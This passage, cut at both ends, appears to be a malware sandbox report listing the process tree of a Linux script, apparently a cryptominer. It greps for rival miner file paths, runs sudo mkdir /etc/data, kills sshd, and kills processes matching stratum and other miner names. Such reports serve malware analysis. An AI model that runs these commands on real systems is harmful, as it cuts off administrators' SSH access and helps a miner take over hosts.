  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1791
- /bin/grep
  grep -q systemd
  2⤵
  PID:1793
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1795
- /bin/grep
  grep exe
  2⤵
  PID:1798
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1797
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1800
- /bin/grep
  grep -q systemd
  2⤵
  PID:1802
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1804
- /bin/grep
  grep exe
  2⤵
  PID:1807
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1806
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1809
- /bin/grep
  grep -q systemd
  2⤵
  PID:1811
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1813
- /bin/grep
  grep exe
  2⤵
  PID:1816
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1815
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1818
- /bin/grep
  grep -q systemd
  2⤵
  PID:1820
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1822
- /bin/grep
  grep exe
  2⤵
  PID:1825
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1824
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1827
- /bin/grep
  grep -q systemd
  2⤵
  PID:1829
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1831
- /bin/grep
  grep exe
  2⤵
  PID:1834
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1833
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1836
- /bin/grep
  grep -q systemd
  2⤵
  PID:1838
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1840
- /bin/grep
  grep exe
  2⤵
  PID:1843
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1842
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1845
- /bin/grep
  grep -q systemd
  2⤵
  PID:1847
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1849
- /bin/grep
  grep exe
  2⤵
  PID:1852
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1851
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1854
- /bin/grep
  grep -q systemd
  2⤵
  PID:1856
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1858
- /bin/grep
  grep exe
  2⤵
  PID:1861
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1860
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1863
- /bin/grep
  grep -q systemd
  2⤵
  PID:1865
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1867
- /bin/grep
  grep exe
  2⤵
  PID:1870
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1869
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1872
- /bin/grep
  grep -q systemd
  2⤵
  PID:1874
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1876
- /bin/grep
  grep exe
  2⤵
  PID:1879
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1878
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1881
- /bin/grep
  grep -q systemd
  2⤵
  PID:1883
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1885
- /bin/grep
  grep exe
  2⤵
  PID:1888
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1887
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1890
- /bin/grep
  grep -q systemd
  2⤵
  PID:1892
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1894
- /bin/grep
  grep exe
  2⤵
  PID:1897
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1896
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1899
- /bin/grep
  grep -q systemd
  2⤵
  PID:1901
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1903
- /bin/grep
  grep exe
  2⤵
  PID:1906
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1905
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1908
- /bin/grep
  grep -q systemd
  2⤵
  PID:1910
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1912
- /bin/grep
  grep exe
  2⤵
  PID:1915
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1914
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1917
- /bin/grep
  grep -q systemd
  2⤵
  PID:1919
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1921
- /bin/grep
  grep exe
  2⤵
  PID:1924
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1923
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1926
- /bin/grep
  grep -q systemd
  2⤵
  PID:1928
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1930
- /bin/grep
  grep exe
  2⤵
  PID:1933
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1932
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1935
- /bin/grep
  grep -q systemd
  2⤵
  PID:1937
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1939
- /bin/grep
  grep exe
  2⤵
  PID:1942
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1941
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1944
- /bin/grep
  grep -q systemd
  2⤵
  PID:1946
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1948
- /bin/grep
  grep exe
  2⤵
  PID:1951
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1950
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1953
- /bin/grep
  grep -q systemd
  2⤵
  PID:1955
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1957
- /bin/grep
  grep exe
  2⤵
  PID:1960
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1959
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1962
- /bin/grep
  grep -q systemd
  2⤵
  PID:1964
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1966
- /usr/bin/id
  id -u
  2⤵
  PID:1967
- /usr/bin/sudo
  sudo mkdir /etc/data
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1968
- - /bin/mkdir
    mkdir /etc/data
    3⤵
    PID:1969
- /usr/bin/id
  id -u
  2⤵
  PID:1970
- /bin/uname
  uname -i
  2⤵
  - Removes the immutable protection flag from a file
  PID:1971
- /bin/uname
  uname -m
  2⤵
  PID:1972
- /bin/ls
  ls -la /etc/data
  2⤵
  PID:1974
- /bin/grep
  grep -e /dev
  2⤵
  PID:1975
- /bin/grep
  grep -v grep
  2⤵
  PID:1976
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1977
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1978
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1980
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1981
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  PID:1982
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1983
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1984
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  PID:1985
- /bin/grep
  grep :1414
  2⤵
  PID:1987
- /bin/grep
  grep -v -
  2⤵
  PID:1990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1991
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1988
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1989
- /bin/grep
  grep -v grep
  2⤵
  PID:1994
- /bin/grep
  grep rtw88_pcied
  2⤵
  PID:1993
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1995
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1996
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:1992
- /bin/grep
  grep -v grep
  2⤵
  PID:1999
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:2000
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2001
- /bin/grep
  grep stratum
  2⤵
  PID:1998
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1997
- /bin/grep
  grep -v grep
  2⤵
  PID:2004
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:2005
- /bin/grep
  grep Sofia
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2006
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2002
- /usr/bin/pkill
  pkill -f Sofia
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2007
- /bin/grep
  grep -v grep
  2⤵
  PID:2010
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2011
- /bin/grep
  grep tracepath
  2⤵
  PID:2009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2012
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2008
- /bin/grep
  grep /dot
  2⤵
  PID:2014
- /bin/grep
  grep -v grep
  2⤵
  PID:2015
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2013
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2016
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2017
- /bin/grep
  grep -v grep
  2⤵
  PID:2020
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:2019
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2022
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2018
- /bin/grep
  grep -v grep
  2⤵
  PID:2025
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2026
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:2024
- /usr/bin/xargs
